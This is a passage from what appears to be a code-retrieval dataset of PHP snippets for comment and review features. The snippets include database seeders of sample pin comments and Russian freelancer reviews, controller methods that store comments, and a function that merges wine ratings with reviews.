beautiful!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 3 =>\n array (\n 'id' => 4,\n 'user_id' => 15,\n 'pin_id' => 8,\n 'content' => 'Beautiful photo. Where was this photo taken?',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 4 =>\n array (\n 'id' => 5,\n 'user_id' => 14,\n 'pin_id' => 8,\n 'content' => 'Hi, thanks for the great reply. This photo was taken in Brussels',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 5 =>\n array (\n 'id' => 6,\n 'user_id' => 15,\n 'pin_id' => 8,\n 'content' => 'Thank you!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 6 =>\n array (\n 'id' => 7,\n 'user_id' => 9,\n 'pin_id' => 3,\n 'content' => 'I like it a lot!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 7 =>\n array (\n 'id' => 8,\n 'user_id' => 10,\n 'pin_id' => 20,\n 'content' => 'Hi, the word string has to be with a small s!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 8 =>\n array (\n 'id' => 9,\n 'user_id' => 8,\n 'pin_id' => 20,\n 'content' => 'Thanks a lot! It works now!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 9 =>\n array (\n 'id' => 10,\n 'user_id' => 16,\n 'pin_id' => 23,\n 'content' => 'Looks very interesting, thanks for sharing!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 10 =>\n array (\n 'id' => 11,\n 'user_id' => 17,\n 'pin_id' => 23,\n 'content' => 'Thank you for sharing!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 11 =>\n array (\n 'id' => 12,\n 'user_id' => 20,\n 'pin_id' => 15,\n 'content' => 'These look delicious, is it possible to share the recipe?',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 12 =>\n array (\n 'id' => 13,\n 'user_id' => 4,\n 'pin_id' => 15,\n 'content' => 'Yes off course I can give you the recipe, you can find it on this site: www.chocolatecookiesrecipe.com! ',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 13 =>\n array (\n 'id' => 14,\n 'user_id' => 19,\n 'pin_id' => 52,\n 'content' => 'Very nice informative infographic!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 14 =>\n array (\n 'id' => 15,\n 'user_id' => 18,\n 'pin_id' => 51,\n 'content' => 'I like it a lot!!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 15 =>\n array (\n 'id' => 16,\n 'user_id' => 17,\n 'pin_id' => 50,\n 'content' => 'Thank you for the tips!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 16 =>\n array (\n 'id' => 17,\n 'user_id' => 16,\n 'pin_id' => 49,\n 'content' => 'My god this is beautiful!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 17 =>\n array (\n 'id' => 18,\n 'user_id' => 15,\n 'pin_id' => 49,\n 'content' => 'Such a nice picture!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 18 =>\n array (\n 'id' => 19,\n 'user_id' => 14,\n 'pin_id' => 48,\n 'content' => 'I would love to buy this!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 19 =>\n array (\n 'id' => 20,\n 'user_id' => 20,\n 'pin_id' => 48,\n 'content' => 'Thanks for buying it, I hope you like it!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 20 =>\n array (\n 'id' => 21,\n 'user_id' => 14,\n 'pin_id' => 48,\n 'content' => 'The cardholders arrived yesterday. They look really nice!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 21 =>\n array (\n 'id' => 22,\n 'user_id' => 13,\n 'pin_id' => 47,\n 'content' => 'Beautiful!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 22 =>\n array (\n 'id' => 23,\n 'user_id' => 12,\n 'pin_id' => 46,\n 'content' => 'I know my way around the computer, maybe I could teach you a thing or two! I am from London! ',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 23 =>\n array (\n 'id' => 24,\n 'user_id' => 9,\n 'pin_id' => 46,\n 'content' => 'What a coincidence I am from London too! Thank you!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 24 =>\n array (\n 'id' => 25,\n 'user_id' => 11,\n 'pin_id' => 45,\n 'content' => 'Really nice tutorial, always wanted to make one of these. Now I know how!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 25 =>\n array (\n 'id' => 26,\n 'user_id' => 9,\n 'pin_id' => 45,\n 'content' => 'Thanks!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 26 =>\n array (\n 'id' => 27,\n 'user_id' => 10,\n 'pin_id' => 44,\n 'content' => 'Interesting article!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 27 =>\n array (\n 'id' => 28,\n 'user_id' => 14,\n 'pin_id' => 43,\n 'content' => 'Nice, did you make this yourself?',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 28 =>\n array (\n 'id' => 29,\n 'user_id' => 5,\n 'pin_id' => 43,\n 'content' => 'No, found it on the Internet. Since I really liked it I shared it!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 29 =>\n array (\n 'id' => 30,\n 'user_id' => 9,\n 'pin_id' => 42,\n 'content' => 'Never looked at the Social media like this.Interesting infographic!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 30 =>\n array (\n 'id' => 31,\n 'user_id' => 6,\n 'pin_id' => 41,\n 'content' => 'Thanks for sharing this!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 31 =>\n array (\n 'id' => 32,\n 'user_id' => 7,\n 'pin_id' => 41,\n 'content' => 'Thank you!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 32 =>\n array (\n 'id' => 33,\n 'user_id' => 9,\n 'pin_id' => 40,\n 'content' => 'Never realised how much effect colors have on our purchasing habbits, until now!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 33 =>\n array (\n 'id' => 34,\n 'user_id' => 4,\n 'pin_id' => 39,\n 'content' => 'These look delicious, ordering 1 kilo right now!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 34 =>\n array (\n 'id' => 35,\n 'user_id' => 20,\n 'pin_id' => 39,\n 'content' => 'Thank you! I hope you like them!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 35 =>\n array (\n 'id' => 36,\n 'user_id' => 5,\n 'pin_id' => 38,\n 'content' => 'The most beautiful poster i have seen so far on the site!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 36 =>\n array (\n 'id' => 37,\n 'user_id' => 8,\n 'pin_id' => 38,\n 'content' => 'Stunning poster!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 37 =>\n array (\n 'id' => 38,\n 'user_id' => 19,\n 'pin_id' => 38,\n 'content' => 'Thank you, for all your lovely comments!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 38 =>\n array (\n 'id' => 39,\n 'user_id' => 18,\n 'pin_id' => 37,\n 'content' => 'I like it!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 39 =>\n array (\n 'id' => 40,\n 'user_id' => 16,\n 'pin_id' => 36,\n 'content' => 'This is really beautiful!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 40 =>\n array (\n 'id' => 41,\n 'user_id' => 13,\n 'pin_id' => 36,\n 'content' => 'Would love to get one like this!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 41 =>\n array (\n 'id' => 42,\n 'user_id' => 11,\n 'pin_id' => 35,\n 'content' => 'Beautiful!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 42 =>\n array (\n 'id' => 43,\n 'user_id' => 10,\n 'pin_id' => 34,\n 'content' => 'This was really helpful thank you!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 43 =>\n array (\n 'id' => 44,\n 'user_id' => 9,\n 'pin_id' => 34,\n 'content' => 'Thanks for sharing, any idea where I can buy this book?',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 44 =>\n array (\n 'id' => 45,\n 'user_id' => 18,\n 'pin_id' => 34,\n 'content' => 'You can buy it online on a lot of sites, like this one: www.amazon.com or bookshops in your neighbourhood!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 45 =>\n array (\n 'id' => 46,\n 'user_id' => 8,\n 'pin_id' => 32,\n 'content' => 'Thank you, really helpful since I am a teacher!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 46 =>\n array (\n 'id' => 47,\n 'user_id' => 7,\n 'pin_id' => 32,\n 'content' => 'Thank you, have been looking for a good site to learn a third language!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 47 =>\n array (\n 'id' => 48,\n 'user_id' => 6,\n 'pin_id' => 31,\n 'content' => 'Awesome picture, did you study photography?',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 48 =>\n array (\n 'id' => 49,\n 'user_id' => 16,\n 'pin_id' => 31,\n 'content' => 'Yes I have, for 4 years now!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 49 =>\n array (\n 'id' => 50,\n 'user_id' => 7,\n 'pin_id' => 30,\n 'content' => 'Ordered some immediately!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 50 =>\n array (\n 'id' => 51,\n 'user_id' => 4,\n 'pin_id' => 30,\n 'content' => 'Thank you for supporting me! Hope you will like it!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 51 =>\n array (\n 'id' => 52,\n 'user_id' => 5,\n 'pin_id' => 28,\n 'content' => 'I recommend other people to use this link, it is really good!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n 52 =>\n array (\n 'id' => 53,\n 'user_id' => 7,\n 'pin_id' => 28,\n 'content' => 'Yes indeed,really helpful!',\n 'created_at' => '2014-04-01 10:00:30',\n 'updated_at' => '2014-04-01 10:00:30',\n ),\n\t\t));\n\t}", "title": "" }, { "docid": "3e94e62dcdf7cef71e56a969489f4759", "score": "0.47644565", "text": "public function store(array $data, Post $post, User $user): Comment\n {\n $data['post_id'] = $post->id;\n\n return $this->commentService->store($data, $user);\n }", "title": "" }, { "docid": "7b5dcf9cd4d12adeea1fcba1abd183db", "score": "0.47634864", "text": "public function commentAction() {\n if ($this->request->isPost()) { \n $data = $this->request->getJsonRawBody(true);\n $token = $data['token'];\n $moment = (int) $data['moment'];\n $user = (int) $data['user'];\n $content = (strlen($data['content']) > 150)?substr($data['content'], 0, 150):$data['content'];\n //verify token\n $db = DbConnection::getConnection();\n $Token = new Token($db);\n $validation = $Token->checkUserToken($user, $token);\n if ($validation === 0) {\n $this->response->setStatusCode(500, 'Internal Server Error');\n } else if ($validation === 1) {\n $Comment = new Comment($db);\n $create = $Comment->createUserComment($user, $moment, $content);\n if ($create === 0) {\n $this->response->setStatusCode(500, 'Internal Server Error');\n } else {\n echo 1;\n }\n } else {\n $this->response->setStatusCode(403, 'Forbidden');\n }\n \n } else {\n $this->response->setStatusCode(404, 'Not Found');\n }\n }", "title": "" }, { "docid": "6e4f94136ccb6eb0f1882b1f864ce521", "score": "0.47623447", "text": "public function newComment(Request $request) {\n\n $this->validate($request, [\n 'comment'=>'required|min:4|max:140',\n 'tweet-id'=>'required|exists:tweets,id'\n ]);\n\n // Create new comment. (Need 'use App\\Comment' at top for the object to instaniate)\n $comment = new Comment();\n\n // Inserting data into database\n // comment model->content table row = form data-> comment input field post data\n $comment->content = $request->comment;\n $comment->user_id = \\Auth::user()->id;\n $comment->tweet_id = $request['tweet-id'];\n\n $comment->save();\n\n// redirect user back to page they were on\n return back();\n }", "title": "" }, { "docid": "eaea7286b16f3ff776d8f52467106f99", "score": "0.47562307", "text": "function insertReview(){\n $Review = $_POST[\"reviewId\"];\n $Autor = $_POST[\"authorId\"];\n $Juego = $_POST[\"gameId\"];\n $this->reviewsModel->insertReview($Review, $Autor, $Juego);\n header(ADMIN_REVIEWS); //Redirecciona para traer la lista de Reviews actualizada.\n }", "title": "" }, { "docid": "b58997f100a03831a1d24816d85268cf", "score": "0.47554207", "text": "public function fromArray(array $data)\n {\n $this->id = (!empty($data['id']) ? $data['id'] : null);\n $this->user_id = (!empty($data['user_id']) ? $data['user_id'] : null);\n $this->image = (!empty($data['image']) ? $data['image'] : null);\n $this->title = (!empty($data['title']) ? $data['title'] : null);\n }", "title": "" }, { "docid": "bcc86d1d42c5555885bdf9313905d603", "score": "0.47545645", "text": "public function store($data)\n {\n return Comment::create([\n 'comment' => $data['comment'],\n 'post_id' => $data['post_id'],\n 'user_id' => auth()->user()->id\n ]);\n }", "title": "" }, { "docid": "cbad7fedc3d5c29b6cbbe994292cfbe3", "score": "0.47526142", "text": "public function create()\n {\n\t\n\t\t \n\t\t\n\t\n return view('admin.review.create');\n }", "title": "" }, { "docid": "d517c8ee10c3c35f3b6e26048eae5dba", "score": "0.47358844", "text": "public function run()\n {\n\n $reviewsData = [\n [\n 'slug' => 'p_512719',\n 'name' => 'Виктория Власева',\n 'nick' => 'Gosti_tyt',\n 'content_ru' => 'Нравится работать с этим исполнителем – делает быстро и четко. Продолжаем сотрудничество.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#p_512719',\n 'link_to_profile' => 'https://www.fl.ru/users/Gosti_tyt/',\n 'link_to_project' => 'https://www.fl.ru/bezopasnaya-sdelka/?id=99258',\n 'published_at' => '14.09.2013 в 14:54',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'p_487787',\n 'name' => 'Виктория Власева',\n 'nick' => 'Gosti_tyt',\n 'content_ru' => 'Спасибо за сотрудничество! Надежный и грамотный специалист.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#p_487787',\n 'link_to_profile' => 'https://www.fl.ru/users/Gosti_tyt/',\n 'link_to_project' => 'https://www.fl.ru/bezopasnaya-sdelka/?id=97128',\n 'published_at' => '23.08.2013 в 14:58',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'p_483215',\n 'name' => 'Виктория Власева',\n 'nick' => 'Gosti_tyt',\n 'content_ru' => 'Замечательный специалист, работа сделана даже раньше срока и качественно. <br> \nСтавлю большой + и работаю дальше.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#p_483215',\n 'link_to_profile' => 'https://www.fl.ru/users/Gosti_tyt/',\n 'link_to_project' => 'https://www.fl.ru/bezopasnaya-sdelka/?id=97023',\n 'published_at' => '19.08.2013 в 18:43',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'o_986653',\n 'name' => 'Игорь Варенников',\n 'nick' => 'Igor_Varennikov',\n 'content_ru' => 'Петр очень приятный, грамотный специалист. К сожалению наше сотрудничество закончилось не успев толком начаться, но осталось очень приятное впечатление. Если понадобится что то по Modx буду обращаться.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_986653',\n 'link_to_profile' => 'https://www.fl.ru/users/Igor_Varennikov/',\n 'link_to_project' => '',\n 'published_at' => '08.02.2012 в 22:59',\n 'avatar' => 'database/seeds/images/avatars/sm_f_506b359b77757.jpg',\n ],\n\n\n\n [\n 'slug' => 'o_693422',\n 'name' => 'Ideas-is-power Ideas',\n 'nick' => 'leidea',\n 'content_ru' => 'Петр отличный специалист. Выполнили очень сложный проект на Modx с созданием настраиваемого расписания занятий. К работе относится очень внимательно, выполняет всю работу до конца. Очень доволен. Будем работать дальше.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_693422',\n 'link_to_profile' => 'https://www.fl.ru/users/leidea',\n 'link_to_project' => '',\n 'published_at' => '08.12.2010 в 19:52',\n 'avatar' => 'database/seeds/images/avatars/sm_f_4a393b7930b09.gif',\n ],\n [\n 'slug' => 'o_654481',\n 'name' => 'roman som',\n 'nick' => 'r-startsev',\n 'content_ru' => 'Петр готовил сайт под ключ для нашей компании. Показал себя очень ответственным, и сделал сайт таким каким мы его хотели видеть. Работой доволен – буду обращаться еще.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_654481',\n 'link_to_profile' => 'https://www.fl.ru/users/r-startsev/',\n 'link_to_project' => '',\n 'published_at' => '16.10.2010 в 22:38',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'o_634582',\n 'name' => 'Людмила Кузьмина',\n 'nick' => 'ole108',\n 'content_ru' => 'Заказывали технический аудит сайта (анализ пригодности для продвижения в поисковых системах), поиск причин ошибок и их устранение. Работой довольны: оперативно, профессионально и грамотно. Продолжаем сотрудничество.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_634582',\n 'link_to_profile' => 'https://www.fl.ru/users/ole108/',\n 'link_to_project' => '',\n 'published_at' => '14.09.2010 в 12:01',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'o_628902',\n 'name' => 'Andrey Medvedev',\n 'nick' => 'usremont',\n 'content_ru' => 'Поработали с Петром!!! )))<br> \nНужен был парсер для сайта под MODx, скрипт который на основе тхт файла наполняет сайт статьями и заполняет поля кейвордов дискрипшнов и всё такое.<br>\nВсё сделано и даже всё работает)) Я очень доволен. )))<br> \nДо Петра за эту работу брались ещё два человека и безрезультатно, а тут за два дня всё было выполнено (кстати как и договаривалис). <br>\nРекомендую, отличный программист!!!',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_628902',\n 'link_to_profile' => 'https://www.fl.ru/users/usremont/',\n 'link_to_project' => '',\n 'published_at' => '04.09.2010 в 15:18',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'o_626365',\n 'name' => 'Дмитрий Live',\n 'nick' => 'open_your_eyes',\n 'content_ru' => 'Сотрудничал, +',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_626365',\n 'link_to_profile' => 'https://www.fl.ru/users/open_your_eyes/',\n 'link_to_project' => '',\n 'published_at' => '31.08.2010 в 08:30',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'o_611003',\n 'name' => 'Ivan Bezfamilnyj',\n 'nick' => 'Ruspath',\n 'content_ru' => 'Брал консультацию, все ок.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_611003',\n 'link_to_profile' => 'https://www.fl.ru/users/Ruspath/',\n 'link_to_project' => '',\n 'published_at' => '03.08.2010 в 21:07',\n 'avatar' => 'database/seeds/images/avatars/sm_f_4d468237cd404.jpg',\n ],\n\n [\n 'slug' => 'o_592516',\n 'name' => 'Дмитрий Кипренский',\n 'nick' => 'DmitryKeeper',\n 'content_ru' => 'Петр – один из наиболее ответственных специалистов, с которыми приходилось работать. Также, судя по результатам работы, чрезвычайно грамотный программист. <br>\nКонкретно по проекту был выполнен перенос сайта на систему управления MODx, написан дополнительный функционал к MODx, создан интерфейс на JQuery. Задачи были не из простых, но решены были достаточно качественно и оперативно, в процессе предлагались различные способы решения.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_592516',\n 'link_to_profile' => 'https://www.fl.ru/users/DmitryKeeper/',\n 'link_to_project' => '',\n 'published_at' => '30.06.2010 в 20:31',\n 'avatar' => 'database/seeds/images/avatars/sm_f_4b5b529bd88c2.jpg',\n ],\n [\n 'slug' => 'o_586571',\n 'name' => 'Sergey Ts',\n 'nick' => 'nejik',\n 'content_ru' => 'Очень замечательный и хороший человек. Так же очень хороший программист. Выручил и порядочно выполнил все поставленные цели, в установленные сроки. Цель была создание и доработка шаблона и самого движка Livestreet. Так же исправил все баги с модулями. Во время работы консультировал и давал советы. Проделанной работой очень доволен. Все на высшем уровне. Большое спасибо, буду заказывать еще. Рекомендую!',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_586571',\n 'link_to_profile' => 'https://www.fl.ru/users/nejik/',\n 'link_to_project' => '',\n 'published_at' => '20.06.2010 в 14:28',\n 'avatar' => 'database/seeds/images/avatars/sm_f_4b9bbda34dced.jpg',\n ],\n [\n 'slug' => 'o_582584',\n 'name' => 'Vladislav Bosch',\n 'nick' => 'Rossmann',\n 'content_ru' => 'Пётр справился с созданием сайта на отлично, хоть и является начинающим специалистом. Всё чётко, строго по ТЗ, аккуратно, доработки минимальные и выполнены максимально оперативно. Рекомендую, как надёжного и грамотного исполнителя.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_582584',\n 'link_to_profile' => 'https://www.fl.ru/users/Rossmann/',\n 'link_to_project' => '',\n 'published_at' => '12.06.2010 в 22:53',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'o_352380',\n 'name' => 'Mark Majorov',\n 'nick' => 'sexleksaker',\n 'content_ru' => 'Приятный человек, хороший PHP специалист. <br>\nГрамотно и быстро выявил и исправил ошибки на моем сайте. <br>\nЦена за выполненную работу была вполне приемлема. <br>\nРекомендую как довольный клиент.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_352380',\n 'link_to_profile' => 'https://www.fl.ru/users/sexleksaker/',\n 'link_to_project' => '',\n 'published_at' => '10.03.2009 в 21:41',\n 'avatar' => 'database/seeds/images/avatars/sm_f_497331582d172.jpg',\n ],\n [\n 'slug' => 'o_335029',\n 'name' => 'Владимир Иванов',\n 'nick' => 'vlaspb',\n 'content_ru' => 'Хороший грамотный специалист в своём деле. <br>\nБыстро и грамотно разобрался в проблеме сервера и помог грамотно решить их <br>\nС уважение Влад.',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_335029',\n 'link_to_profile' => 'https://www.fl.ru/users/vlaspb/',\n 'link_to_project' => '',\n 'published_at' => '05.02.2009 в 22:53',\n 'avatar' => 'database/seeds/images/avatars/user-default-small.png',\n ],\n [\n 'slug' => 'o_328873',\n 'name' => 'Андрей Макалкин',\n 'nick' => 'STIMIK',\n 'content_ru' => 'Очень понравилось как была выполнена работа, моментально настроил сервер, хотя многим это не удавалось, рекомендую всем этого фрилансера, буду и дальше работать с ним!',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_328873',\n 'link_to_profile' => 'https://www.fl.ru/users/STIMIK/',\n 'link_to_project' => '',\n 'published_at' => '24.01.2009 в 03:52',\n 'avatar' => 'database/seeds/images/avatars/sm_f_25557caeb903ff47.jpg',\n ],\n [\n 'slug' => 'o_327774',\n 'name' => 'Дмитрий Соловей',\n 'nick' => 'DSolovey',\n 'content_ru' => 'Быстро отозвался на проект, так же быстро приступил к выполнению задания. <br> \nЗадача стояла в настройке VPS, нужно было установить apache, mysql,php. Так же установить и настроить панель управления. <br>\nМного пояснять не пришлось, все схватывал на ходу!<br> \nОчень доволен работой, спасибо!',\n 'content_en' => '',\n 'link_to_review' => 'https://www.fl.ru/users/adminoid/opinions/#o_327774',\n 'link_to_profile' => 'https://www.fl.ru/users/DSolovey/',\n 'link_to_project' => '',\n 'published_at' => '21.01.2009 в 22:36',\n 'avatar' => 'database/seeds/images/avatars/sm_f_4735ab4580d46.jpg',\n ],\n ];\n\n $reviewsRootPage = App\\Page::where('slug', 'reviews')->first();\n foreach ($reviewsData as $reviewData) {\n $url = array_shift($reviewData);\n $avatar = array_pop($reviewData);\n $page = App\\Page::create(['slug' => str_replace('_', '-', $url)]);\n// $page->makeChildOf($reviewsRootPage);\n $reviewsRootPage->appendNode($page);\n $page->loadImage($avatar, ['alt_ru' => $reviewData['name'], 'sort_order_id' => 0]);\n $reviewData['published_at'] = \\Carbon\\Carbon::createFromFormat(\"d.m.Y в H:i\", $reviewData['published_at']);\n $review = App\\Review::create($reviewData);\n $review->page()->save($page);\n }\n }", "title": "" }, { "docid": "44ad698501434296398b876e781da480", "score": "0.4732529", "text": "function mergeScoreAndReview($conn, $score_array, $review_array) {\n $p1 = 0;\n $p2 = 0;\n $result = array();\n while($p1 < count($score_array) && $p2 < count($review_array)) {\n $score = $score_array[$p1];\n $review = $review_array[$p2];\n $data = new \\wineMateThrift\\WineReviewAndRatingData;\n if ($score['timeStamp'] > $review['timeStamp']) {\n $sql = \"SELECT user_name, first_name, sex, head_image_url, third_party FROM user_account_info WHERE user_id = \".$score['reviewerId'];\n $data->userId = $score['reviewerId'];\n $sql = $conn->query($sql);\n if($sql->num_rows > 0) {\n $row = $sql->fetch_assoc();\n $data->reviewerUserName = $row['user_name'];\n\t\t$data->reviewerFirstName = $row['first_name'];\n $data->sex = ($row['sex'] == 'm' ? \\wineMateThrift\\ReviewerSex::MALE : \\wineMateThrift\\ReviewerSex::FEMALE);\n\t\t$data->photoUrl = $row['head_image_url'];\n $data->thirdParty = $row['third_party'];\n $data->reviewContent = '';\n $data->rate = $score['score'];\n $elapsedSeconds = time() - $score['timeStamp'];\n if ($elapsedSeconds > 0) {\n $data->timeElapsed = secs_to_h($elapsedSeconds);\n }\n }\n $result[] = $data;\n $p1 ++;\n } else if ($score['timeStamp'] < $review['timeStamp']) {\n $sql = \"SELECT user_name, first_name, sex, head_image_url, third_party FROM user_account_info WHERE user_id = \".$review['reviewerId'];\n $data->userId = $review['reviewerId'];\n $sql = $conn->query($sql);\n if($sql->num_rows > 0) {\n $row = $sql->fetch_assoc();\n $data->reviewerUserName = $row['user_name'];\n\t\t$data->reviewerFirstName = $row['first_name'];\n $data->sex = ($row['sex'] == 'm' ? \\wineMateThrift\\ReviewerSex::MALE : \\wineMateThrift\\ReviewerSex::FEMALE);\n\t\t$data->photoUrl = $row['head_image_url'];\n $data->thirdParty = $row['third_party'];\n $data->reviewContent = $review['reviewContent'];\n $data->rate = 0.0;\n $elapsedSeconds = time() - $review['timeStamp'];\n if ($elapsedSeconds > 0) {\n $data->timeElapsed = secs_to_h($elapsedSeconds);\n }\n }\n $result[] = $data;\n $p2 ++;\n } else {\n if ($score['reviewerId'] == $review['reviewerId']) {\n $sql = \"SELECT user_name, first_name, sex, head_image_url, third_party FROM user_account_info WHERE user_id = \".$review['reviewerId'];\n $data->userId = $review['reviewerId'];\n $sql = $conn->query($sql);\n if($sql->num_rows > 0) {\n $row = $sql->fetch_assoc();\n $data->reviewerUserName = $row['user_name'];\n\t\t $data->reviewerFirstName = $row['first_name'];\n $data->sex = ($row['sex'] == 'm' ? \\wineMateThrift\\ReviewerSex::MALE : \\wineMateThrift\\ReviewerSex::FEMALE);\n\t\t $data->photoUrl = $row['head_image_url'];\n\t\t $data->thirdParty = $row['third_party'];\n $data->reviewContent = $review['reviewContent'];\n $data->rate = $score['score'];\n $elapsedSeconds = time() - $review['timeStamp'];\n if ($elapsedSeconds > 0) {\n $data->timeElapsed = secs_to_h($elapsedSeconds);\n }\n }\n $result[] = $data;\n $p1 ++;\n $p2 ++;\n } else {\n $sql = \"SELECT user_name, first_name, sex, head_image_url, third_party FROM user_account_info WHERE user_id = \".$review['reviewerId'];\n $data->userId = $review['reviewerId'];\n $sql = $conn->query($sql);\n if($sql->num_rows > 0) {\n $row = $sql->fetch_assoc();\n $data->reviewerUserName = $row['user_name'];\n\t\t $data->reviewerFirstName = $row['first_name'];\n $data->sex = 